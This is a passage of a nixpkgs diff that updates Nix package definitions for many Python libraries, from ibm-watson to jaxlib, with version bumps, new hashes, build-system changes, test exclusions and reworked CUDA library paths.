+14,7 @@ buildPythonPackage rec { pname = "ibm-watson"; - version = "7.0.1"; + version = "8.0.0"; format = "setuptools"; disabled = pythonOlder "3.7"; @@ -23,7 +23,7 @@ buildPythonPackage rec { owner = "watson-developer-cloud"; repo = "python-sdk"; rev = "refs/tags/v${version}"; - hash = "sha256-f/nf9WFiUNDQBkFNMV16EznCw0TN9L4fDIPQ/j4B1Sc="; + hash = "sha256-p2LyR7Fxd0Ny6QCypAWIusnINuhWAhWOnRfZ14FKvro="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/ical/default.nix b/pkgs/development/python-modules/ical/default.nix index d95a34fbbc849..01755d640c8c4 100644 --- a/pkgs/development/python-modules/ical/default.nix +++ b/pkgs/development/python-modules/ical/default.nix @@ -6,40 +6,32 @@ , tzdata , pyparsing , pydantic -, pytest-asyncio , pytest-benchmark -, pytest-golden , pytestCheckHook , pythonOlder -, pythonRelaxDepsHook , python-dateutil -, pyyaml , setuptools +, syrupy }: buildPythonPackage rec { pname = "ical"; - version = "6.1.1"; + version = "7.0.0"; pyproject = true; disabled = pythonOlder "3.10"; src = fetchFromGitHub { owner = "allenporter"; - repo = pname; + repo = "ical"; rev = "refs/tags/${version}"; - hash = "sha256-pFmJYXIhc9jhpc9ZjSNaol5h5Jb8ZvxuQsQL/2Rjryc="; + hash = "sha256-S/6zyUFXSWcnnLNSwz1smovSyodhKeRVbT9lj7+KLWo="; }; nativeBuildInputs = [ - pythonRelaxDepsHook setuptools ]; - pythonRelaxDeps = [ - "tzdata" - ]; - propagatedBuildInputs = [ python-dateutil tzdata @@ -50,11 +42,9 @@ buildPythonPackage rec { nativeCheckInputs = [ emoji freezegun - pytest-asyncio pytest-benchmark - pytest-golden pytestCheckHook - pyyaml + syrupy ]; pythonImportsCheck = [ diff --git a/pkgs/development/python-modules/idasen/default.nix b/pkgs/development/python-modules/idasen/default.nix index 5fee7d5c9f0d5..e6950edaa1278 100644 --- a/pkgs/development/python-modules/idasen/default.nix +++ b/pkgs/development/python-modules/idasen/default.nix @@ -12,7 +12,7 @@ buildPythonPackage rec { pname = "idasen"; - version = "0.11.1"; + version = "0.12.0"; format = "pyproject"; disabled = pythonOlder "3.8"; @@ -21,7 +21,7 @@ buildPythonPackage rec { owner = "newAM"; repo = "idasen"; rev = "refs/tags/v${version}"; - hash = "sha256-nduag5ubgwhOcprdZppLIPQPDE06dk9OzniIIJpM12s="; + hash = "sha256-TQ+DBFpG+IeZ4/dN+YKMw3AM4Dl1rpqA1kRcb3Tb3jA="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/identify/default.nix b/pkgs/development/python-modules/identify/default.nix index 252a40b7cbe20..ba8b8b67ec936 100644 --- a/pkgs/development/python-modules/identify/default.nix +++ b/pkgs/development/python-modules/identify/default.nix @@ -10,7 +10,7 @@ buildPythonPackage rec { pname = "identify"; - version = "2.5.34"; + version = "2.5.35"; pyproject = true; disabled = pythonOlder "3.8"; @@ -19,7 +19,7 @@ buildPythonPackage rec { owner = "pre-commit"; repo = "identify"; rev = "refs/tags/v${version}"; - hash = "sha256-q1RVFdDFUkKGaKpcbasXHks+OZhVRZUy3ufuruBZiPA="; + hash = "sha256-kUBAq9ttIdTLApJ0yW8Yk/NIXpmllApQGpR24wm0PHA="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/igraph/default.nix b/pkgs/development/python-modules/igraph/default.nix index 4aebfc1cecd1f..e2f555121f938 100644 --- a/pkgs/development/python-modules/igraph/default.nix +++ b/pkgs/development/python-modules/igraph/default.nix @@ -3,24 +3,28 @@ , pythonOlder , fetchFromGitHub , pkg-config +, setuptools , igraph , texttable -, unittestCheckHook +, cairocffi +, matplotlib +, plotly +, pytestCheckHook }: buildPythonPackage rec { pname = "igraph"; - version = "0.11.3"; + version = "0.11.4"; disabled = pythonOlder "3.8"; - format = "setuptools"; + pyproject = true; src = fetchFromGitHub { owner = "igraph"; repo = "python-igraph"; rev = "refs/tags/${version}"; - hash = "sha256-Pki0ygcQeuC5E4SwhzGX7oIe9LUSgoBKiXbtcpjL3ng="; + hash = "sha256-sR9OqsBxP2DvcYz1dhIP29rrQ56CRKW02oNAXUNttio="; }; postPatch = '' @@ -29,6 +33,7 @@ buildPythonPackage rec { nativeBuildInputs = [ pkg-config + setuptools ]; buildInputs = [ @@ -39,13 +44,25 @@ buildPythonPackage rec { texttable ]; + passthru.optional-dependencies = { + cairo = [ cairocffi ]; + matplotlib = [ matplotlib ]; + plotly = [ plotly ]; + plotting = [ cairocffi ]; + }; + # NB: We want to use our igraph, not vendored igraph, but even with # pkg-config on the PATH, their custom setup.py still needs to be explicitly # told to do it. ~ C. - setupPyGlobalFlags = [ "--use-pkg-config" ]; + env.IGRAPH_USE_PKG_CONFIG = true; nativeCheckInputs = [ - unittestCheckHook + pytestCheckHook + ] ++ lib.flatten (lib.attrValues passthru.optional-dependencies); + + disabledTests = [ + "testAuthorityScore" + "test_labels" ]; pythonImportsCheck = [ "igraph" ]; diff --git a/pkgs/development/python-modules/ihm/default.nix b/pkgs/development/python-modules/ihm/default.nix index 1dfcec78bbda5..2cfb69178b109 100644 --- a/pkgs/development/python-modules/ihm/default.nix +++ b/pkgs/development/python-modules/ihm/default.nix @@ -10,14 +10,14 @@ buildPythonPackage rec { pname = "ihm"; - version = "0.43"; + version = "1.0"; pyproject = true; src = fetchFromGitHub { owner = "ihmwg"; repo = "python-ihm"; rev = "refs/tags/${version}"; - hash = "sha256-6tjIxe3JYvtWG5z4ltrkUSTxh1q2BDq2I2siYt7dCF8="; + hash = "sha256-a1M3YihN71M9TnkldAzN6N1UuPksDk6SPiBgr4HyC8g="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/imagededup/default.nix b/pkgs/development/python-modules/imagededup/default.nix index 94d06f6becbd8..7b5be6e31709b 100644 --- a/pkgs/development/python-modules/imagededup/default.nix +++ b/pkgs/development/python-modules/imagededup/default.nix @@ -1,17 +1,19 @@ { lib , buildPythonPackage +, cython , fetchFromGitHub , fetchurl -, cython +, matplotlib +, pillow +, pytest-mock +, pytestCheckHook +, pythonOlder +, pywavelets +, scikit-learn +, setuptools , torch , torchvision -, pillow , tqdm -, scikit-learn -, pywavelets -, matplotlib -, pytestCheckHook -, pytest-mock }: let MobileNetV3 = fetchurl { @@ -23,50 +25,57 @@ let hash = "sha256-msG1N42ZJ71sg3TODNVX74Dhs/j7wYWd8zLE3J0P2CU="; }; EfficientNet = fetchurl { - url = "https://download.pytorch.org/models/efficientnet_b4_rwightman-7eb33cd5.pth"; + url = "https://download.pytorch.org/models/efficientnet_b4_rwightman-23ab8bcd.pth"; hash = "sha256-I6uLzVvb72GnpDuRrcrYH2Iv1/NvtJNaVpgo13iIxE4="; }; in buildPythonPackage rec { pname = "imagededup"; version = "0.3.2"; - format = "setuptools"; + pyproject = true; + + disabled = pythonOlder "3.8"; src = fetchFromGitHub { owner = "idealo"; - repo = pname; - rev = "v${version}"; + repo = "imagededup"; + rev = "refs/tags/v${version}"; hash = "sha256-B2IuNMTZnzBi6IxrHBoMDsmIcqGQpznd/2f1XKo1Oa4="; }; nativeBuildInputs = [ cython + setuptools ]; propagatedBuildInputs = [ + matplotlib + pillow + pywavelets + scikit-learn torch torchvision - pillow tqdm - scikit-learn - pywavelets - matplotlib ]; - nativeCheckInputs = [ pytestCheckHook pytest-mock ]; + nativeCheckInputs = [ + pytest-mock + pytestCheckHook + ]; preCheck = '' - # checks fail with: error: [Errno 13] Permission denied: '/homeless-shelter' export HOME=$(mktemp -d) - # checks with CNN are preloaded to avoid downloads in check-phase + # Checks with CNN are preloaded to avoid downloads in the check phase mkdir -p $HOME/.cache/torch/hub/checkpoints/ ln -s ${MobileNetV3} $HOME/.cache/torch/hub/checkpoints/${MobileNetV3.name} ln -s ${ViT} $HOME/.cache/torch/hub/checkpoints/${ViT.name} ln -s ${EfficientNet} $HOME/.cache/torch/hub/checkpoints/${EfficientNet.name} ''; - pythonImportsCheck = [ "imagededup" ]; + pythonImportsCheck = [ + "imagededup" + ]; meta = with lib; { homepage = "https://idealo.github.io/imagededup/"; diff --git a/pkgs/development/python-modules/immutabledict/default.nix b/pkgs/development/python-modules/immutabledict/default.nix index 6a066fad36d80..5c1530263d224 100644 --- a/pkgs/development/python-modules/immutabledict/default.nix +++ b/pkgs/development/python-modules/immutabledict/default.nix @@ -8,7 +8,7 @@ buildPythonPackage rec { pname = "immutabledict"; - version = "4.1.0"; + version = "4.2.0"; format = "pyproject"; disabled = pythonOlder "3.7"; @@ -17,7 +17,7 @@ buildPythonPackage rec { owner = "corenting"; repo = "immutabledict"; rev = "refs/tags/v${version}"; - hash = "sha256-c76apNW6nlxL9paevqKpPw5RpDLMpYnbVabCCIrW3pw="; + hash = "sha256-NpNS8HAacgXm3rFtyd5uFgSURNbDf+YVS1aFx51kwEA="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/import-expression/default.nix b/pkgs/development/python-modules/import-expression/default.nix new file mode 100644 index 0000000000000..42182cadc0811 --- /dev/null +++ b/pkgs/development/python-modules/import-expression/default.nix @@ -0,0 +1,45 @@ +{ lib, + buildPythonPackage, + fetchFromGitHub, + fetchpatch, + pytestCheckHook, + astunparse, + setuptools +}: +buildPythonPackage rec { + pname = "import-expression"; + version = "1.1.4"; + pyproject = true; + + src = fetchFromGitHub { + owner = "ioistired"; + repo = "import-expression-parser"; + rev = "refs/tags/v${version}"; + hash = "sha256-mll2NePB7fthzltLOk6D9BgaDpH6GaW4psqcGun/0qM="; + }; + + patches = [ + (fetchpatch { + url = "https://github.com/ioistired/import-expression-parser/commit/3daf968c3163b64685aa529740e132f0df5ab262.patch"; + hash = "sha256-2Ubv3onor2D26udZbDDMb3iNLopEIRnIcO/X6WUVmJU="; + }) + ]; + + nativeBuildInputs = [ setuptools ]; + propagatedBuildInputs = [ astunparse ]; + nativeCheckInputs = [ pytestCheckHook ]; + pytestFlagsArray = [ "tests.py" ]; + + pythonImportsCheck = [ + "import_expression" + "import_expression._codec" + ]; + + meta = { + description = "Transpiles a superset of python to allow easy inline imports"; + homepage = "https://github.com/ioistired/import-expression-parser"; + license = with lib.licenses; [ mit psfl ]; + mainProgram = "import-expression"; + maintainers = with lib.maintainers; [ lychee ]; + }; +} diff --git a/pkgs/development/python-modules/imread/default.nix b/pkgs/development/python-modules/imread/default.nix index 4e3b4294991cd..69eb79ddbcaae 100644 --- a/pkgs/development/python-modules/imread/default.nix +++ b/pkgs/development/python-modules/imread/default.nix @@ -1,8 +1,9 @@ { lib , buildPythonPackage , fetchPypi -, nose +, pytestCheckHook , pkg-config +, setuptools , libjpeg , libpng , libtiff @@ -13,18 +14,48 @@ buildPythonPackage rec { pname = "python-imread"; version = "0.7.5"; + pyproject = true; src = fetchPypi { inherit version; pname = "imread"; - sha256 = "sha256-GiWpA128GuLlbBW1CQQHHVVeoZfu9Yyh2RFzSdtHDbc="; + hash = "sha256-GiWpA128GuLlbBW1CQQHHVVeoZfu9Yyh2RFzSdtHDbc="; }; + nativeBuildInputs = [ + pkg-config + setuptools + ]; + + buildInputs = [ + libjpeg + libpng + libtiff + libwebp + ]; - nativeBuildInputs = [ pkg-config ]; - buildInputs = [ nose libjpeg libpng libtiff libwebp ]; propagatedBuildInputs = [ numpy ]; + nativeCheckInputs = [ + pytestCheckHook + ]; + + pytestFlagsArray = [ + # verbose build outputs needed to debug hard-to-reproduce hydra failures + "-v" + "--pyargs" "imread" + ]; + + pythonImportsCheck = [ + "imread" + ]; + + preCheck = '' + cd $TMPDIR + export HOME=$TMPDIR + export OMP_NUM_THREADS=1 + ''; + meta = with lib; { description = "Python package to load images as numpy arrays"; homepage = "https://imread.readthedocs.io/en/latest/"; diff --git a/pkgs/development/python-modules/indexed-bzip2/default.nix b/pkgs/development/python-modules/indexed-bzip2/default.nix index d6c82e3aec9a5..b75a10b982224 100644 --- a/pkgs/development/python-modules/indexed-bzip2/default.nix +++ b/pkgs/development/python-modules/indexed-bzip2/default.nix @@ -6,14 +6,14 @@ buildPythonPackage rec { pname = "indexed_bzip2"; - version = "1.5.0"; + version = "1.6.0"; format = "setuptools"; disabled = pythonOlder "3.6"; src = fetchPypi { inherit pname version; - hash = "sha256-tKf9odadfQZQYJz//vWYpeB99Z8VLg+hEPvfEHXgdnM="; + hash = "sha256-3HUiigZR91/nbOAMOuSHGcPtqkkEaj3VepyMhmKOHpI="; }; # has no tests diff --git a/pkgs/development/python-modules/influxdb-client/default.nix b/pkgs/development/python-modules/influxdb-client/default.nix index 6fb8974642ee2..d95aa2b2323a0 100644 --- a/pkgs/development/python-modules/influxdb-client/default.nix +++ b/pkgs/development/python-modules/influxdb-client/default.nix @@ -16,7 +16,7 @@ buildPythonPackage rec { pname = "influxdb-client"; - version = "1.40.0"; + version = "1.41.0"; format = "setuptools"; disabled = pythonOlder "3.7"; @@ -25,7 +25,7 @@ buildPythonPackage rec { owner = "influxdata"; repo = "influxdb-client-python"; rev = "refs/tags/v${version}"; - hash = "sha256-+I5DxcxNxIRDwtfYXLvXPl8Z3FKcSWyaYtv1KHT9QO4="; + hash = "sha256-wrgbc8sMISJvXxefGl2PBsJ3d308BXVH7wYIeaFmdZ8="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/influxdb/default.nix b/pkgs/development/python-modules/influxdb/default.nix index 991dcb3203140..94441890c7aa5 100644 --- a/pkgs/development/python-modules/influxdb/default.nix +++ b/pkgs/development/python-modules/influxdb/default.nix @@ -62,6 +62,8 @@ buildPythonPackage rec { # Pandas API changes cause it to no longer infer datetimes in the expected manner "test_multiquery_into_dataframe" "test_multiquery_into_dataframe_dropna" + # FutureWarning: 'H' is deprecated and will be removed in a future version, please use 'h' instead. + "test_write_points_from_dataframe_with_tag_escaped" ]; pythonImportsCheck = [ "influxdb" ]; diff --git a/pkgs/development/python-modules/inkex/default.nix b/pkgs/development/python-modules/inkex/default.nix index 4d04618ec3e6b..e6c1b5da2806f 100644 --- a/pkgs/development/python-modules/inkex/default.nix +++ b/pkgs/development/python-modules/inkex/default.nix @@ -70,7 +70,8 @@ buildPythonPackage { cd share/extensions substituteInPlace pyproject.toml \ - --replace 'scour = "^0.37"' 'scour = ">=0.37"' + --replace-fail 'scour = "^0.37"' 'scour = ">=0.37"' \ + --replace-fail 'lxml = "^4.5.0"' 'lxml = "^4.5.0 || ^5.0.0"' ''; meta = { diff --git a/pkgs/development/python-modules/intake-parquet/default.nix b/pkgs/development/python-modules/intake-parquet/default.nix index 9ef6affb5119e..809d9efcc7cac 100644 --- a/pkgs/development/python-modules/intake-parquet/default.nix +++ b/pkgs/development/python-modules/intake-parquet/default.nix @@ -5,20 +5,34 @@ , dask , fastparquet , pyarrow +, setuptools +, pythonOlder }: buildPythonPackage rec { pname = "intake-parquet"; version = "0.3.0"; - format = "setuptools"; + pyproject = true; + + disabled = pythonOlder "3.7"; src = fetchFromGitHub { owner = "intake"; - repo = pname; - rev = version; - sha256 = "sha256-zSwylXBKOM/tG5mwYtc0FmxwcKJ6j+lw1bxJqf57NY8="; + repo = "intake-parquet"; + rev = "refs/tags/${version}"; + hash = "sha256-zSwylXBKOM/tG5mwYtc0FmxwcKJ6j+lw1bxJqf57NY8="; }; + postPatch = '' + # Break circular dependency + substituteInPlace requirements.txt \ + --replace-fail "intake" "" + ''; + + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ pandas dask @@ -26,12 +40,6 @@ buildPythonPackage rec { pyarrow ]; - postPatch = '' - # Break circular dependency - substituteInPlace requirements.txt \ - --replace "intake" "" - ''; - doCheck = false; #pythonImportsCheck = [ "intake_parquet" ]; diff --git a/pkgs/development/python-modules/intake/default.nix b/pkgs/development/python-modules/intake/default.nix index d4f9c66806ce4..b15e90cda27fc 100644 --- a/pkgs/development/python-modules/intake/default.nix +++ b/pkgs/development/python-modules/intake/default.nix @@ -1,4 +1,5 @@ { lib +, stdenv , appdirs , bokeh , buildPythonPackage @@ -19,14 +20,15 @@ , pythonOlder , pyyaml , requests -, stdenv +, setuptools +, setuptools-scm , tornado }: buildPythonPackage rec { pname = "intake"; - version = "0.7.0"; - format = "setuptools"; + version = "2.0.3"; + pyproject = true; disabled = pythonOlder "3.8"; @@ -34,9 +36,14 @@ buildPythonPackage rec { owner = "intake"; repo = "intake"; rev = "refs/tags/${version}"; - hash = "sha256-LK4abwPViEFJZ10bbRofF2aw2Mj0dliKwX6dFy93RVQ="; + hash = "sha256-Fyv85HkoE9OPOoSHR1sgCG0iAFuSiQMT7cyZcQyLvv0="; }; + nativeBuildInputs = [ + setuptools + setuptools-scm + ]; + propagatedBuildInputs = [ appdirs dask @@ -73,11 +80,6 @@ buildPythonPackage rec { ]; }; - postPatch = '' - substituteInPlace setup.py \ - --replace "'pytest-runner'" "" - ''; - __darwinAllowLocalNetworking = true; preCheck = '' @@ -85,6 +87,20 @@ buildPythonPackage rec { export PATH="$PATH:$out/bin"; ''; + disabledTestPaths = [ + # Missing plusins + "intake/catalog/tests/test_alias.py" + "intake/catalog/tests/test_gui.py" + "intake/catalog/tests/test_local.py" + "intake/catalog/tests/test_reload_integration.py" + "intake/source/tests/test_csv.py" + "intake/source/tests/test_derived.py" + "intake/source/tests/test_npy.py" + "intake/source/tests/test_text.py" + "intake/tests/test_config.py" + "intake/tests/test_top_level.py" + ]; + disabledTests = [ # Disable tests which touch network "http" @@ -103,23 +119,10 @@ buildPythonPackage rec { "test_remote_cat" "test_remote_env" # ValueError - "test_mlist_parameter" - # ImportError - "test_dataframe" - "test_ndarray" - "test_python" + "test_datasource_python_to_dask" + "test_catalog_passthrough" # Timing-based, flaky on darwin and possibly others "test_idle_timer" - # arrow-cpp-13 related - "test_read" - "test_pickle" - "test_read_dask" - "test_read_list" - "test_read_list_with_glob" - "test_to_dask" - "test_columns" - "test_df_transform" - "test_pipeline_apply" ] ++ lib.optionals (stdenv.isDarwin && lib.versionOlder stdenv.hostPlatform.darwinMinVersion "10.13") [ # Flaky with older low-res mtime on darwin < 10.13 (#143987) "test_second_load_timestamp" diff --git a/pkgs/development/python-modules/interegular/default.nix b/pkgs/development/python-modules/interegular/default.nix new file mode 100644 index 0000000000000..e1f0fc79c0915 --- /dev/null +++ b/pkgs/development/python-modules/interegular/default.nix @@ -0,0 +1,24 @@ +{ lib +, buildPythonPackage +, fetchPypi +}: + +buildPythonPackage rec { + pname = "interegular"; + version = "0.3.3"; + src = fetchPypi { + inherit pname version; + hash = "sha256-2baXshs0iEcROZug8DdpFLgYmc5nADJIbQ0Eg0SnZgA="; + }; + + pythonImportsCheck = [ + "interegular" + ]; + + meta = with lib; { + description = "A library to check a subset of python regexes for intersections"; + homepage = "https://github.com/MegaIng/interegular"; + license = licenses.mit; + maintainers = with maintainers; [ lach ]; + }; +} diff --git a/pkgs/development/python-modules/iodata/default.nix b/pkgs/development/python-modules/iodata/default.nix index 748b7a14570c5..64021cc051b10 100644 --- a/pkgs/development/python-modules/iodata/default.nix +++ b/pkgs/development/python-modules/iodata/default.nix @@ -2,22 +2,20 @@ buildPythonPackage rec { pname = "iodata"; - version = "0.1.7"; + version = "1.0.0a2"; format = "setuptools"; src = fetchFromGitHub { owner = "theochem"; repo = pname; rev = version; - hash = "sha256-Qn2xWFxdS12K92DhdHVzYrBjPRV+vYo7Cs27vkeCaxM="; + hash = "sha256-GFTCYE19Re7WLhV8eU+0i8OMp/Tsms/Xj9DRTcgjcz4="; }; - leaveDotGit = true; - nativeBuildInputs = [ cython nose ]; propagatedBuildInputs = [ numpy scipy attrs ]; - pythonImportsCheck = [ "iodata" "iodata.overlap_accel" ]; + pythonImportsCheck = [ "iodata" ]; doCheck = false; # Requires roberto or nose and a lenghtly setup to find the cython modules meta = with lib; { diff --git a/pkgs/development/python-modules/ipyvue/default.nix b/pkgs/development/python-modules/ipyvue/default.nix index 2507e7e5fc585..c2211226f078e 100644 --- a/pkgs/development/python-modules/ipyvue/default.nix +++ b/pkgs/development/python-modules/ipyvue/default.nix @@ -8,14 +8,14 @@ buildPythonPackage rec { pname = "ipyvue"; - version = "1.10.1"; + version = "1.10.2"; format = "setuptools"; disabled = isPy27; src = fetchPypi { inherit pname version; - hash = "sha256-IGFc6GulFs8Leq2EzGB+TiyRBCMulUzQ7MvzNTCl4dQ="; + hash = "sha256-qZc1hvouKWUQ2aJLk1oiokUKzKBXtd6fC6tm7LHDOrQ="; }; propagatedBuildInputs = [ ipywidgets ]; diff --git a/pkgs/development/python-modules/iteration-utilities/default.nix b/pkgs/development/python-modules/iteration-utilities/default.nix index dcfc86c3aa2c1..59399e39aca4a 100644 --- a/pkgs/development/python-modules/iteration-utilities/default.nix +++ b/pkgs/development/python-modules/iteration-utilities/default.nix @@ -7,7 +7,7 @@ buildPythonPackage rec { pname = "iteration-utilities"; - version = "0.12.0"; + version = "0.12.1"; format = "setuptools"; disabled = pythonOlder "3.7"; @@ -16,7 +16,7 @@ buildPythonPackage rec { owner = "MSeifert04"; repo = "iteration_utilities"; rev = "refs/tags/v${version}"; - hash = "sha256-KdL0lwlmBEG++JRociR92HdYxzArTeL5uEyUjvvwi1Y="; + hash = "sha256-BiBbmZHo5B/u//LItqEcKtGXOA6xK+T1zoitR9XIiSU="; }; nativeCheckInputs = [ diff --git a/pkgs/development/python-modules/jax/default.nix b/pkgs/development/python-modules/jax/default.nix index 0450f73e639b2..d41987c9a539e 100644 --- a/pkgs/development/python-modules/jax/default.nix +++ b/pkgs/development/python-modules/jax/default.nix @@ -1,6 +1,7 @@ { lib , blas , buildPythonPackage +, callPackage , setuptools , importlib-metadata , fetchFromGitHub @@ -126,6 +127,23 @@ buildPythonPackage rec { pythonImportsCheck = [ "jax" ]; + # Test CUDA-enabled jax and jaxlib. Running CUDA-enabled tests is not + # currently feasible within the nix build environment so we have to maintain + # this script separately. See https://github.com/NixOS/nixpkgs/pull/256230 + # for a possible remedy to this situation. + # + # Run these tests with eg + # + # NIXPKGS_ALLOW_UNFREE=1 nixglhost -- nix run --impure .#python3Packages.jax.passthru.tests.test_cuda_jaxlibBin + passthru.tests = { + test_cuda_jaxlibSource = callPackage ./test-cuda.nix { + jaxlib = jaxlib.override { cudaSupport = true; }; + }; + test_cuda_jaxlibBin = callPackage ./test-cuda.nix { + jaxlib = jaxlib-bin.override { cudaSupport = true; }; + }; + }; + meta = with lib; { description = "Differentiate, compile, and transform Numpy code"; homepage = "https://github.com/google/jax"; diff --git a/pkgs/development/python-modules/jax/test-cuda.nix b/pkgs/development/python-modules/jax/test-cuda.nix new file mode 100644 index 0000000000000..d156061f38495 --- /dev/null +++ b/pkgs/development/python-modules/jax/test-cuda.nix @@ -0,0 +1,17 @@ +{ jax +, jaxlib +, pkgs +}: + +pkgs.writers.writePython3Bin "jax-test-cuda" { libraries = [ jax jaxlib ]; } '' + import jax + from jax import random + + assert jax.devices()[0].platform == "gpu" + + rng = random.PRNGKey(0) + x = random.normal(rng, (100, 100)) + x @ x + + print("success!") +'' diff --git a/pkgs/development/python-modules/jaxlib/bin.nix b/pkgs/development/python-modules/jaxlib/bin.nix index 0bcf055a8766d..199b352b2aa27 100644 --- a/pkgs/development/python-modules/jaxlib/bin.nix +++ b/pkgs/development/python-modules/jaxlib/bin.nix @@ -2,16 +2,7 @@ # backend will require some additional work. Those wheels are located here: # https://storage.googleapis.com/jax-releases/libtpu_releases.html. -# For future reference, the easiest way to test the GPU backend is to run -# NIX_PATH=.. nix-shell -p python3 python3Packages.jax "python3Packages.jaxlib-bin.override { cudaSupport = true; }" -# export XLA_FLAGS=--xla_gpu_force_compilation_parallelism=1 -# python -c "from jax.lib import xla_bridge; assert xla_bridge.get_backend().platform == 'gpu'" -# python -c "from jax import random; random.PRNGKey(0)" -# python -c "from jax import random; x = random.normal(random.PRNGKey(0), (100, 100)); x @ x" -# There's no convenient way to test the GPU backend in the derivation since the -# nix build environment blocks access to the GPU. See also: -# * https://github.com/google/jax/issues/971#issuecomment-508216439 -# * https://github.com/google/jax/issues/5723#issuecomment-913038780 +# See `python3Packages.jax.passthru` for CUDA tests. { absl-py , autoPatchelfHook @@ -32,12 +23,21 @@ }: let - inherit (cudaPackagesGoogle) autoAddOpenGLRunpathHook cudatoolkit cudnn cudaVersion; + inherit (cudaPackagesGoogle) autoAddOpenGLRunpathHook cudaVersion; version = "0.4.24"; inherit (python) pythonVersion; + cudaLibPath = lib.makeLibraryPath (with cudaPackagesGoogle; [ + cuda_cudart.lib # libcudart.so + cuda_cupti.lib # libcupti.so + cudnn.lib # libcudnn.so + libcufft.lib # libcufft.so + libcusolver.lib # libcusolver.so + libcusparse.lib # libcusparse.so + ]); + # As of 2023-06-06, google/jax upstream is no longer publishing CPU-only wheels to their GCS bucket. Instead the # official instructions recommend installing CPU-only versions via PyPI. cpuSrcs = @@ -189,18 +189,12 @@ buildPythonPackage { # autoPatchelfHook. That means we need to sneak them into rpath. This step # must be done after autoPatchelfHook and the automatic stripping of # artifacts. autoPatchelfHook runs in postFixup and auto-stripping runs in the - # patchPhase. Dependencies: - # * libcudart.so.11.0 -> cudatoolkit_11.lib - # * libcublas.so.11 -> cudatoolkit_11 - # * libcuda.so.1 -> opengl driver in /run/opengl-driver/lib + # patchPhase. preInstallCheck = lib.optional cudaSupport '' shopt -s globstar for file in $out/**/*.so; do - rpath=$(patchelf --print-rpath $file) - # For some reason `makeLibraryPath` on `cudatoolkit_11` maps to - # <cudatoolkit_11.lib>/lib which is different from <cudatoolkit_11>/lib. - patchelf --set-rpath "$rpath:${cudatoolkit}/lib:${lib.makeLibraryPath [ cudatoolkit.lib cudnn ]}" $file + patchelf --add-rpath "${cudaLibPath}" "$file" done ''; @@ -211,12 +205,14 @@ buildPythonPackage { scipy ]; - # Note that cudatoolkit is snecessary since jaxlib looks for "ptxas" in $PATH. - # See https://github.com/NixOS/nixpkgs/pull/164176#discussion_r828801621 for - # more info. + # jaxlib looks for ptxas at runtime, eg when running `jax.random.PRNGKey(0)`. + # Linking into $out is the least bad solution. See + # * https://github.com/NixOS/nixpkgs/pull/164176#discussion_r828801621 + # * https://github.com/NixOS/nixpkgs/pull/288829#discussion_r1493852211 + # for more info. postInstall = lib.optional cudaSupport '' - mkdir -p $out/bin - ln -s ${cudatoolkit}/bin/ptxas $out/bin/ptxas + mkdir -p $out/${python.sitePackages}/jaxlib/cuda/bin + ln -s ${lib.getExe' cudaPackagesGoogle.cuda_nvcc "ptxas"} $out/${python.sitePackages}/jaxlib/cuda/bin/ptxas ''; inherit (jaxlib-build) pythonImportsCheck; @@ -229,8 +225,8 @@ buildPythonPackage { maintainers = with maintainers; [ samuela ]; platforms = [ "aarch64-darwin" "x86_64-linux" "x86_64-darwin" ]; broken = - !(cudaSupport -> (cudaPackagesGoogle ? cudatoolkit) && lib.versionAtLeast cudatoolkit.version "11.1") - || !(cudaSupport -> (cudaPackagesGoogle ? cudnn) && lib.versionAtLeast cudnn.version "8.2") + !(cudaSupport -> lib.versionAtLeast cudaVersion "11.1") + || !(cudaSupport -> lib.versionAtLeast cudaPackagesGoogle.cudnn.version "8.2") || !(cudaSupport -> stdenv.isLinux) || !(cudaSupport -> (gpuSrcs ? "cuda${cudaVersion}-${pythonVersion}")); }; diff --git a/pkgs/development/python-modules/jaxlib/default.nix b/pkgs/development/python-modules/jaxlib/default.nix index d1e9d8a9ad285..657a6e52c0846 100644 --- a/pkgs/development/python-modules/jaxlib/default.nix +++ b/pkgs/development/python-modules/jaxlib/default.nix @@ -12,6 +12,7 @@ , curl , cython , fetchFromGitHub +, fetchpatch , git , IOKit , jsoncpp @@ -47,14 +48,19 @@ # MKL: , mklSupport ? true -}: +}@inputs: let - inherit (cudaPackagesGoogle) backendStdenv cudatoolkit cudaFlags cudnn nccl; + inherit (cudaPackagesGoogle) autoAddOpenGLRunpathHook cudaFlags cudaVersion cudnn nccl; pname = "jaxlib"; version = "0.4.24"; + # It's necessary to consistently use backendStdenv when building with CUDA + # support, otherwise we get libstdc++ errors downstream + stdenv = throw "Use effectiveStdenv instead"; + effectiveStdenv = if cudaSupport then cudaPackagesGoogle.backendStdenv else inputs.stdenv; + meta = with lib; { description = "JAX is Autograd and XLA, brought together for high-performance machine learning research."; homepage = "https://github.com/google/jax"; @@ -65,25 +71,51 @@ let # however even with that fix applied, it doesn't work for everyone: # https://github.com/NixOS/nixpkgs/pull/184395#issuecomment-1207287129 # NOTE: We always build with NCCL; if it is unsupported, then our build is broken. - broken = stdenv.isDarwin || nccl.meta.unsupported; + broken = effectiveStdenv.isDarwin || nccl.meta.unsupported; }; - cudatoolkit_joined = symlinkJoin { - name = "${cudatoolkit.name}-merged"; - paths = [ - cudatoolkit.lib - cudatoolkit.out - ] ++ lib.optionals (lib.versionOlder cudatoolkit.version "11") [ - # for some reason some of the required libs are in the targets/x86_64-linux - # directory; not sure why but this works around it - "${cudatoolkit}/targets/${stdenv.system}" + # These are necessary at build time and run time. + cuda_libs_joined = symlinkJoin { + name = "cuda-joined"; + paths = with cudaPackagesGoogle; [ + cuda_cudart.lib # libcudart.so + cuda_cudart.static # libcudart_static.a + cuda_cupti.lib # libcupti.so + libcublas.lib # libcublas.so + libcufft.lib # libcufft.so + libcurand.lib # libcurand.so + libcusolver.lib # libcusolver.so + libcusparse.lib # libcusparse.so + ]; + }; + # These are only necessary at build time. + cuda_build_deps_joined = symlinkJoin { + name = "cuda-build-deps-joined"; + paths = with cudaPackagesGoogle; [ + cuda_libs_joined + + # Binaries + cudaPackagesGoogle.cuda_nvcc.bin # nvcc + + # Headers + cuda_cccl.dev # block_load.cuh + cuda_cudart.dev # cuda.h + cuda_cupti.dev # cupti.h + cuda_nvcc.dev # See https://github.com/google/jax/issues/19811 + cuda_nvml_dev # nvml.h + 